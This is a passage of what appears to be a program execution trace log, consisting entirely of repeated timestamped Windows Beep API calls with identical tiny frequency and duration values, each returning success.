(dwFreq=0x25, dwDuration=0x1) returned 1 [0240.828] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.829] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.830] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.845] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.861] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.877] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.893] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.894] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.910] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.926] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.941] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.942] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.943] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.959] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.976] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.991] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0240.993] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.007] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.023] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.039] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.039] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.040] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.056] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.072] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.087] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.088] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.089] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.105] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.121] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.122] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.123] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.124] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.124] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.125] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.126] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.127] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.129] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.130] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.130] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.146] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.162] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.177] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.178] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.179] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.195] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.211] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.226] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.227] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.228] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.244] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.260] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.275] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.277] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.278] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.279] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.280] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.281] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.282] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.283] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.284] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.285] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.300] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.316] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.332] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.333] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.334] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.335] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.336] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.337] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.338] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.339] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.340] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.341] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.357] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.373] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.389] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.389] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.390] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.406] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.422] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.438] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.439] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.439] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.440] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.441] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.442] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.443] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.444] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.445] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.446] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.447] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.463] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.479] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.494] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.495] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.496] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.497] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.498] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.499] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.500] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.501] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.504] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.505] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.521] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.536] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.553] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.554] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.569] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.585] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.601] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.602] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.603] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.618] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.634] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.635] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.636] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.637] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.638] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.639] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.640] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.641] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.642] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.643] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.644] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.660] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.675] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.691] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.692] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.693] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.708] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.724] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.740] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.740] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.741] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.757] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.773] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.774] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.775] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.916] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.959] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.962] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.979] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0241.993] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.009] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.025] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.025] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.026] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.042] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.058] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.074] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.076] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.077] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.078] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.079] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.080] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.081] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.082] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.083] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.084] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.085] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.101] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.116] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.132] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.133] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.134] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.150] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.165] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.181] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.182] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.183] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.198] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.214] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.215] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.216] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.217] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.218] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.219] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.220] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.221] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.222] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.223] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.224] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.240] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.255] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.271] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.287] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.287] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.288] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.304] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.320] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.321] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.322] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.323] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.324] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.326] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.327] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.328] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.329] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.330] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.331] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.332] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.347] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.363] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.379] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.379] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.380] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.396] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.412] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.427] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.428] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.429] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.445] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.461] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.463] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.478] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.494] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.509] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.510] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.511] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.527] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.543] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.558] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.559] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.560] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.576] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.623] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.625] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.640] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.656] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.671] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.672] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.673] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.689] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.705] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.720] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.722] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.737] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.753] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.754] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.755] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.756] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.757] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.758] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.759] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.760] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.761] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.762] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.763] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.765] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.765] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.782] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.797] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.813] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.815] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.830] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.845] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.862] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.863] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.864] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.865] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.866] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.867] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.868] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.869] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.870] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.871] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.887] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.903] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.918] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.934] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.949] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.964] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.981] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0242.996] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.012] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.027] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.043] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.043] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.044] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.060] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.076] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.092] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.092] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.093] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.109] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.125] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.126] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.127] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.127] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.129] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.129] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.130] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.131] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.132] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.133] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.135] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.150] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.166] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.182] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.184] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.207] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.215] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.237] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.254] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.271] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.273] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.275] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.278] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.293] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.310] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.328] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.346] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.357] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.373] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.380] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.392] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.408] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.410] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.411] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.413] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.417] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.432] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.450] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.467] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.485] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.496] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.519] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.538] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.548] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.562] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.564] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.587] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.595] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.614] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.629] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.644] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.644] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.647] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.651] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.652] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.655] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.672] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.684] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.704] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.719] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.733] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.750] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.774] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.782] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.801] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.817] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.832] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.833] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.836] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.837] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.839] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.842] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.858] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.874] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.891] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.906] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.923] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.926] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.930] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.950] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.964] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.980] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.982] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.985] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0243.988] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.004] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.022] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.036] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.059] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.067] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.086] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.105] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.120] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.122] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.129] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.142] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.157] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.174] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.192] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.207] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.210] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.211] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.212] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.216] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.236] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.247] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.263] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.265] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.285] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.296] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.312] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.314] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.330] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.346] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.347] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.368] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.378] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.394] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.400] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.411] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.428] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.429] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.449] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.460] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.477] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.494] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.511] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.531] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.542] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.558] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.559] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.576] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.592] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.614] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.624] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.642] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.659] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.675] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.678] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.679] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.681] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.684] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0244.699] Beep (dwFreq=0x25, 